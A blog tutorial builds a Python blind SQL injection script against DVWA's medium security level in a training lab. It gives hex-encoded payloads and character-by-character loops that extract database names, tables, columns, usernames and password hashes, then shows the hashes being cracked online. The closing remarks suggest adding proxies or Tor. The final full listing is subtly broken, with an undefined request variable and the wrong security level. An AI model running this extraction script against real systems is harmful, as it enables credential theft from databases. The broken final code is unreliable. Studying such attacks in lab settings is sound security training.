StackZero
  • Homepage
  • Cryptography and Privacy
  • Ethical Hacking
  • Reverse Engineering
  • Contacts
  • About Me
No Result
View All Result
StackZero
No Result
View All Result

Blind SQL Injection: How To Hack DVWA With Python (Medium Security)

October 26, 2022
in Ethical Hacking
0 0
Blind SQL Injection: How To Hack DVWA With Python (Medium Security)
0
SHARES
847
VIEWS
Share on FacebookShare on Twitter

After pwning low-security DVWA with a blind SQL Injection attack, it’s time to try a medium level of security by using Python!
I’m going to assume that you read the previous post at this link so that we can focus our efforts just on new concepts.

If you are not familiar with SQL Injection, here there is a list of all my previous articles that can make you an SQLi ninja!

Table of Contents

Toggle
    • In-Band SQL injection
    • Blind SQL injection
  • Prerequisites
  • Step #0: The Differences with low-security DVWA
    • How to convert a string into its hexadecimal literal value in Python?
    • Changing the GET (HTTP) method with POST (HTTP)
    • The query dictionary
  • Step #1: Getting The Database Info
  • Step #2: Getting The Tables Info
  • Step #3: Getting The Table Info
  • Step #4: Getting The Users Info
  • Step #5: Getting The Password
  • Step #6: Running The Blind SQL Injection Python Script On DVWA with a medium security level.
  • Step #7: Final Overview.
  • Conclusion

In-Band SQL injection

  • SQL Injection: What You Need to Know
  • Learn SQL injection in practice by hacking vulnerable application!
  • How To Hack With SQL Injection Attacks! DVWA low security
  • Hack With SQL Injection Attacks! DVWA medium security
  • Hack With SQL Injection Attacks! DVWA high security
  • Mastering SQL Injection on DVWA Low Security with Burp Suite: A Comprehensive Guide
  • Mastering DVWA SQL Injection: Medium Security with Burp Suite

Blind SQL injection

  • Blind SQL injection: How To Hack DVWA With Python (Low Security)
  • Blind SQL Injection: How To Hack DVWA With Python (Medium Security)
  • Blind SQL Injection: How To Hack DVWA With Python (High Security)

So our starting point will be the Python script that we used to exploit DVWA with a low-security level, and from that, we will make some little changes to face the medium level of difficulty.

As you already should know I’m lazy, so I will not configure a machine of my own again this time but I’m going to use the preconfigured one at TryHackMe.

You can find a brief explanation of the configuration steps in this article:

  • How To Hack With SQL Injection Attacks! DVWA low security

But now let’s start with the real challenge!

Prerequisites

As you already may know, I tried to build a little library that will allow you to focus just on the Blind SQL Injection attack (and ignore the login part plus the CSRF token management), so before following the tutorial get the “utils.py” file from the GitHub repository in this link (You can also find the whole code at the end if you prefer copy-pasting).

After that, you should install the following libraries:

  • BeautifulSoup: library in charge of parsing HTML.
  • requests: a library that helps to send HTTP requests.

You can do that by typing this on your terminal:

pip install beautifulsoup4 requests

There is no more to do, you are ready to start!

Step #0: The Differences with low-security DVWA

Probably this is the most important section if you already have read the previous article.

We want to perform a Blind SQL injection attack with Python on DVWA after setting the security level as “medium”.
We already did most of the work, so we can focus just on the differences between Low-Security and Medium-Security.

There are only two main differences that would make us change our previously taken approach.

  • The server uses the mysql_real_escape_string function to escape the query
  • The form uses a POST request instead of a GET.

We should know from this article that mysql_real_escape_string it’s not enough to prevent an SQL injection attack, regardless of its type.
As the documentation says:

mysql_real_escape_string() calls MySQL’s library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a.

So what if we can use Python to perform a Blind SQL Injection attack without using those characters on DVWA medium security?

Now the question is:

How can we use a string in our Blind SQL Injection Python script without using single/double quotes?

The MySQL documentation can help us with the concept of hexadecimal literals that can make us insert a string by using its hex value without quotes.

How to convert a string into its hexadecimal literal value in Python?

In Python we can convert a string into its hexadecimal literal value in a very simple way, we need to encode the function by using encode and then convert with the hex function.

But in order to use the hexadecimal version in a query we need to prepend the “0x” string to the result.

So to make everything more readable, let’s define the function that will convert every string in our python script.

def get_hex_str(string):
    return f'0x{string.encode("utf-8").hex()}'

Changing the GET (HTTP) method with POST (HTTP)

At this point, we have solved the problem of the mysql_real_escape_string function.
But if we take the Python script we used into the low difficulty level as our starting point, we have to consider that we have to change the HTTP method into POST.

Thanks to the choices we made earlier we can achieve the goal just by changing a few lines in the get_query_result function.

Let’s see a new function:

def get_query_result(s, sqli_blind_url, query, *args):
    try:
        concrete_query = query.format(*args)
        data = {
            "id": concrete_query,
            "Submit": "Submit"
        }
        response = s.post(sqli_blind_url, data=data)
        parser = DVWASQLiResponseParser(response)
        return parser.check_presence("exist")
    except AttributeError as e:
        return False

Wasn’t it simpler than you thought?

Now we can see step by step the little changes we can do to make the script work and exploit the Blind SQL section in our DVWA machine.

The query dictionary

I want to sort the code and make all the important work visible at first glance, so different from the previous script, this time I grouped all the payload in a global dictionary.

queries = {
    "db_length": "1 AND LENGTH(DATABASE()) = {} #",
    "db_name": "1 AND SUBSTRING(DATABASE(), {}, 1) = {}",
    "n_tables": "1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema={})={} #",
    "tables": "1 AND SUBSTR((SELECT table_name from information_schema.tables WHERE table_schema={} {} LIMIT 1),{},1)={} #",
    "n_columns": "1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name={})={} #",
    "columns": "1 AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name={} LIMIT {}, 1),{},1)={} #",
    "users": "1 AND SUBSTR((SELECT {} FROM {} LIMIT {}, 1),{},1)={} #",
    "pwd_len": "1 AND LENGTH((SELECT {} FROM {} WHERE {}={}))={} #",
    "pwd": "1 AND SUBSTR((SELECT {} FROM {} WHERE {}={} LIMIT 1), {}, 1)={} #"
}

Step #1: Getting The Database Info

The first step in case of a black box attack is to get information about the database.
In this case, I would assume we already know that MySQL is the target DBMS (I showed how to know that in my previous articles by using the MySQL Version function).

The idea to perform a Blind SQL Injection attack with Python on DVWA with a medium level of security is not so different from what we have already seen.
We have to use the LENGTH function and test it by comparing it with a reasonable range of values.
The payload will be ( remember that the curly braces are a placeholder that we are going to replace in our code):

1 AND LENGTH(DATABASE()) = {} #

After that, we know the length of the name of the database and we can test all the substrings, keeping in mind that we cannot use the quotes, so the values have to be converted into their hex values.

This is the payload that, thanks to the SUBSTRING function, will let us retrieve the name of the database:

1 AND SUBSTRING(DATABASE(), {}, 1) = {}

We have already seen how to run the payload and get the result, but a review will not hurt us!

query = queries["db_length"]
length = 0
for i in range(1,10):
    if get_query_result(s, sqli_blind_url, query, i):
        print(f"[+] The DB's name length is {i}")
        length = i
        break


query = queries["db_name"]
dbname = []

for i in range(1, length+1):
    for c in string.ascii_lowercase:
        if get_query_result(s, sqli_blind_url, query, i, get_hex_str(c)):
            dbname.append(c)
            break
dbname = "".join(dbname)
print(f'[+] Found a database with name: {dbname}')

Step #2: Getting The Tables Info

The next step that a good hacker will perform is to retrieve the tables’ information, in particular, we want to know:

  • Number
  • Names

Getting the number is not so different from getting the length of the database’s name, this time we need to count them and compare them with a range of reasonable numbers (you can make your hypotheses about what is “reasonable”!), for our examples I have chosen a range between one and ten.

To do that we are going to query the information_schema.tables metatable and use the COUNT function

This is the resulting payload:

1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema={})={} #

The “WHERE” clause requires a string, so we have to pay attention and replace the placeholder with its hexadecimal value, this is how in Python:

query = queries["n_tables"]
n_tables = 0
for i in range(1, 10):
    if get_query_result(s, sqli_blind_url, query, get_hex_str(dbname), i):
        print(f"[+] It has {i} tables")
        n_tables = i
        break

Now we know the number of tables, the next step is to list them, at this point, we can have two main problems:

  • Blind SQL injection can allow testing just one name at a time.
  • Enumerating many tables can require a lot of time.

The way we solve the first problem is by appending a chain of not equals in the WHERE clause in order to exclude the tables we have already found (in the next paragraph we will see another technique with a LIMIT clause).

We are going to partially solve the second one by allowing the user to early stop the scanning when it finds the right table.

This is the code:

query = queries["tables"]

found_tables = [[] for _ in range(n_tables)]
completion = ""
for i in range(n_tables):        
    for j in range(1, 10):
        for c in string.ascii_lowercase:
            if get_query_result(s, sqli_blind_url, query, get_hex_str(dbname), completion, j, get_hex_str(c)):
                found_tables[i].append(c)
                break
    print("\t","".join(found_tables[i]))
    completion += f" AND table_name <> {get_hex_str(''.join(found_tables[i]))}"

Step #3: Getting The Table Info

The idea behind the article is to build an all-in-one script, so, how can the script know what is the target table?

The quick response is: it can’t!

So, without making up anything, we can just accept the user input:

users_table = input("Type the tabname to attack: ")

After that, we have a string to insert in our WHERE clause (remember that you can insert just its hex values) and get the info we need:

  • Columns’ number
  • Columns’ names

The payloads are not so different from the ones we have seen for enumerating the tables.
Getting the number of columns can be done also in this case by using the COUNT and comparing the result with a range of numbers (1-10 in the example).

This is the payload that will return us the info we need:

1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name={})={} #

And this is the code that will use this payload!

query = queries["n_columns"]

n_columns = 0
for i in range(1, 10):
    if get_query_result(s, sqli_blind_url, query, get_hex_str(users_table), i):
        print(f"[+] It has {i} columns")
        n_columns = i
        break

Given this information, we can get all the tab names we are looking for by using this payload:

1 AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name={} LIMIT {}, 1),{},1)={} #

In this case, we are listing all the tables.
The idea is to get the tables one by one, this time is done by using the LIMIT clause that has a row_count as the first parameter and the index as the second parameter.

The code would be nothing new to your eyes:

found_columns = [[] for _ in range(n_columns)]
completion = ""
print("[!] In order to speed up, try to press CTRL+C when you find the user and password columns")
try:
    for i in range(n_columns):        
        for j in range(1, 12):
            for c in string.ascii_lowercase:
                if get_query_result(s, sqli_blind_url, query, get_hex_str(users_table), i, j, get_hex_str(c)):
                    found_columns[i].append(c)
                    
                    break
        print("\t","".join(found_columns[i]))
except KeyboardInterrupt as e:
    print("\nSkipping this phase!")

Step #4: Getting The Users Info

Now we want to get the username and the password, and to do that we have to indicate we need to tell the script which columns are related to these fields.

Also in this case we will ask the user the target columns’ name:

users_column = input("Type the name of the column containing usernames: ")
passwords_column = input("Type the name of the column containing passwords: ")

Given those inputs, we can list the users, even in this case the user can stop the scanning.

A careful observer would notice that this time the script won’t count the number of users.
But I preferred to use a reasonable value aware that we would stop the scan sooner.

The payload that will allow us to do that is the following:

1 AND SUBSTR((SELECT {} FROM {} LIMIT {}, 1),{},1)={} #

Step #5: Getting The Password

Finally, we are at the end of the Python script that will allow us to perform a Blind SQL injection attack on a DVWA with a medium level of security.

Selecting the target user is essential to keep attacking, and once again we will ask the user:

username = input("Type the name of the target user: ")

Now we have all we need to complete the attack, we just miss two pieces of information and you probably imagine which ones:

  • The length of the password
  • The password itself

The payload to get the length of the password is:

1 AND LENGTH((SELECT {} FROM {} WHERE {}={}))={} #

As we did previously we can inject the payload with this Python code:

query = queries["pwd_len"]
pwd_length = 0
for i in range(100):
    
    if get_query_result(s, sqli_blind_url, query, passwords_column, users_table, users_column, get_hex_str(username), i ):
        pwd_length = i
        print(f"[+] The password length is: {i}")

The last step in our script is to define the payload and the code that will run it.

1 AND SUBSTR((SELECT {} FROM {} WHERE {}={} LIMIT 1), {}, 1)={} #

This will be run by the following code.

query = queries["pwd"]
password = []
for j in range(1, pwd_length+1):
    
    for c in string.ascii_letters+string.digits:
        
        if get_query_result(s, sqli_blind_url, query, passwords_column, users_table, users_column, get_hex_str(username), j, get_hex_str(c)):
            password.append(c)
            
            break
print("[+] Password is: ","".join(password))  

The Python script is done, now just run it.

Step #6: Running The Blind SQL Injection Python Script On DVWA with a medium security level.

Saving the script in a file called “main.py” can be run from the command line by typing:

python main.py

And this is the final result!

python script performing SQL injection attack on DVWA medium security

The password is obviously the result of a Hash Function, probably MD5.

Cracking can be done by using online tools like CrackStation.

So, we can go to CrackStation and try to crack it:

DVWA password cracking on crackstation

Step #7: Final Overview.

You maybe want to see the whole code, so here is the overview of the whole code:

from utils import *
from ast import literal_eval
def get_query_result(s, sqli_blind_url, query, *args):
    try:
        concrete_query = query.format(*args)
    
        response = s.post(sqli_blind_url, data=data)

        parser = DVWASQLiResponseParser(response)

        return parser.check_presence("exist")
    except AttributeError as e:
        return False
def get_hex_str(string):
    return f'0x{string.encode("utf-8").hex()}'

queries = {
    "db_length": "1 AND LENGTH(DATABASE()) = {} #",
    "db_name": "1 AND SUBSTRING(DATABASE(), {}, 1) = {}",
    "n_tables": "1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema={})={} #",
    "tables": "1 AND SUBSTR((SELECT table_name from information_schema.tables WHERE table_schema={} {} LIMIT 1),{},1)={} #",
    "n_columns": "1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name={})={} #",
    "columns": "1 AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name={} LIMIT {}, 1),{},1)={} #",
    "users": "1 AND SUBSTR((SELECT {} FROM {} LIMIT {}, 1),{},1)={} #",
    "pwd_len": "1 AND LENGTH((SELECT {} FROM {} WHERE {}={}))={} #",
    "pwd": "1 AND SUBSTR((SELECT {} FROM {} WHERE {}={} LIMIT 1), {}, 1)={} #"
}

if __name__ == "__main__":
    BASE_URL = "http://10.10.87.65"
    sqli_blind_url = f"{BASE_URL}/vulnerabilities/sqli_blind/#"
    
    with DVWASessionProxy(BASE_URL) as s:
        s.security = SecurityLevel.HIGH


        query = queries["db_length"]
        length = 0
        for i in range(1,10):
            if get_query_result(s, sqli_blind_url, query, i):
                print(f"[+] The DB's name length is {i}")
                length = i
                break

        
        query = queries["db_name"]
        dbname = []

        for i in range(1, length+1):
            for c in string.ascii_lowercase:
                if get_query_result(s, sqli_blind_url, query, i, get_hex_str(c)):
                    dbname.append(c)
                    break
        dbname = "".join(dbname)
        print(f'[+] Found a database with name: {dbname}')
        
        
        query = queries["n_tables"]
        n_tables = 0
        for i in range(1, 10):
            if get_query_result(s, sqli_blind_url, query, get_hex_str(dbname), i):
                print(f"[+] It has {i} tables")
                n_tables = i
                break


        query = queries["tables"]
        
        found_tables = [[] for _ in range(n_tables)]
        completion = ""
        for i in range(n_tables):        
            for j in range(1, 10):
                for c in string.ascii_lowercase:
                    if get_query_result(s, sqli_blind_url, query, get_hex_str(dbname), completion, j, get_hex_str(c)):
                        found_tables[i].append(c)
                        break
            print("\t","".join(found_tables[i]))
            completion += f" AND table_name <> {get_hex_str(''.join(found_tables[i]))}"
        
            
    
    users_table = input("Type the tabname to attack: ")
    query = queries["n_columns"]
    
    n_columns = 0
    for i in range(1, 10):
        if get_query_result(s, sqli_blind_url, query, get_hex_str(users_table), i):
            print(f"[+] It has {i} columns")
            n_columns = i
            break

    query = queries["columns"]
    
    found_columns = [[] for _ in range(n_columns)]
    completion = ""
    print("[!] In order to speed up, try to press CTRL+C when you find the user and password columns")
    try:
        for i in range(n_columns):        
            for j in range(1, 12):
                for c in string.ascii_lowercase:
                    if get_query_result(s, sqli_blind_url, query, get_hex_str(users_table), i, j, get_hex_str(c)):
                        found_columns[i].append(c)
                        
                        break
            print("\t","".join(found_columns[i]))
    except KeyboardInterrupt as e:
        print("\nSkipping this phase!")
    

    users_column = input("Type the name of the column containing usernames: ")
    passwords_column = input("Type the name of the column containing passwords: ")

    query = queries["users"]
    
    found_users = [[] for _ in range(10)]
    
    print("[!] In order to speed up, try to press CTRL+C when you find the target user")
    try:
        for i in range(10):        
            for j in range(1, 12):
                for c in string.ascii_letters+string.digits:
                    if get_query_result(s, sqli_blind_url, query, users_column, users_table, i, j, get_hex_str(c)):
                        found_users[i].append(c)
                        
                        break
            print("\t","".join(found_users[i]))
    except KeyboardInterrupt as e:
        print("\n Skipping this phase!")
    
    username = input("Type the name of the target user: ")

    query = queries["pwd_len"]
    pwd_length = 0
    for i in range(100):
        
        if get_query_result(s, sqli_blind_url, query, passwords_column, users_table, users_column, get_hex_str(username), i ):
            pwd_length = i
            print(f"[+] The password length is: {i}")
        
    query = queries["pwd"]
    password = []
    for j in range(1, pwd_length+1):
        
        for c in string.ascii_letters+string.digits:
            
            if get_query_result(s, sqli_blind_url, query, passwords_column, users_table, users_column, get_hex_str(username), j, get_hex_str(c)):
                password.append(c)
                
                break
    print("[+] Password is: ","".join(password))  
    

Conclusion

I hope you appreciated this article, I really enjoyed a lot to write it (especially the coding part).
I know that there are a lot of tools doing that better that are widely configurable, but this is the best way to learn, and maybe, in some cases, you are forced to do that during your career.

In addition to that, remember that this script can be modified to work with threads and maybe proxies or Tor network, you can do a lot with this knowledge!

Thank you for your time, and every feedback would be appreciated. If you like my work keep following me on my blog and socials!

Tags: application securityblind sql injectionblind sqlicybersecuritydvwapythonsql injectionvulnerable applicationweb application securityweb exploitationweb security
Previous Post

Blind SQL injection: How To Hack DVWA With Python (Low Security)

Next Post

Blind SQL Injection: How To Hack DVWA With Python (High Security)

Next Post
Blind SQL Injection: How To Hack DVWA With Python (High Security)

Blind SQL Injection: How To Hack DVWA With Python (High Security)

You might also like

Cryptographic functions

Cryptographic Hash Functions in Python: Secure Your Data Easily

November 3, 2024
Malware Obfuscation Techniques: All That You Need To Know

Malware Obfuscation Techniques: All That You Need To Know

March 25, 2024
How To Do Process Enumeration: An Alternative Way

How To Do Process Enumeration: An Alternative Way

March 4, 2024
How To Do DLL Injection: An In-Depth Cybersecurity Example

How To Do DLL Injection: An In-Depth Cybersecurity Example

February 8, 2024
Process Injection By Example: The Complete Guide

Process Injection By Example: The Complete Guide

January 24, 2024
How To Build Your Own: Python String Analysis for Malware Insights

How To Build Your Own: Python String Analysis for Malware Insights

November 10, 2023

StackZero

StackZero is a specialized technical blog dedicated to the realm of cybersecurity. It primarily provides insightful articles and comprehensive tutorials designed to educate readers on developing security tools. The blog encompasses a broad spectrum of subjects, starting from the foundational principles of cryptography and extending to more sophisticated areas such as exploitation and reverse engineering. This makes StackZero an invaluable resource for both beginners and professionals in the field of cybersecurity.
The blog covers a wide range of topics, from the basics of cryptography to the more advanced topics of exploitation and reverse engineering.

Tags

application security blind sqli blind sql injection bruteforce c cesar cipher command injection cryptography ctf cybersecurity debugging dom-based xss dvwa ethical-hacking ethical hacking exploitation file inclusion gdb hacking injection javascript malware malware analysis malware evasion network-security pentesting lab picoctf pico ctf python reflected xss reverse engineering sql sqli sql injection static analysis stored xss substitution substitution cipher vulnerable application web application security web exploitation web security windows windows api xss
  • About Me
  • Contacts
  • HomePage
  • Opt-out preferences
  • Privacy Policy
  • Terms and Conditions

Welcome Back!

Login to your account below

Forgotten Password?

Retrieve your password

Please enter your username or email address to reset your password.

Log In
Manage Cookie Consent
To provide the best experiences, we use technologies like cookies to store and/or access device information. Consenting to these technologies will allow us to process data such as browsing behavior or unique IDs on this site. Not consenting or withdrawing consent, may adversely affect certain features and functions.
Functional Always active
The technical storage or access is strictly necessary for the legitimate purpose of enabling the use of a specific service explicitly requested by the subscriber or user, or for the sole purpose of carrying out the transmission of a communication over an electronic communications network.
Preferences
The technical storage or access is necessary for the legitimate purpose of storing preferences that are not requested by the subscriber or user.
Statistics
The technical storage or access that is used exclusively for statistical purposes. The technical storage or access that is used exclusively for anonymous statistical purposes. Without a subpoena, voluntary compliance on the part of your Internet Service Provider, or additional records from a third party, information stored or retrieved for this purpose alone cannot usually be used to identify you.
Marketing
The technical storage or access is required to create user profiles to send advertising, or to track the user on a website or across several websites for similar marketing purposes.
Manage options Manage services Manage {vendor_count} vendors Read more about these purposes
View preferences
{title} {title} {title}
No Result
View All Result
  • Homepage
  • Cryptography and Privacy
  • Ethical Hacking
  • Reverse Engineering
  • Contacts
  • About Me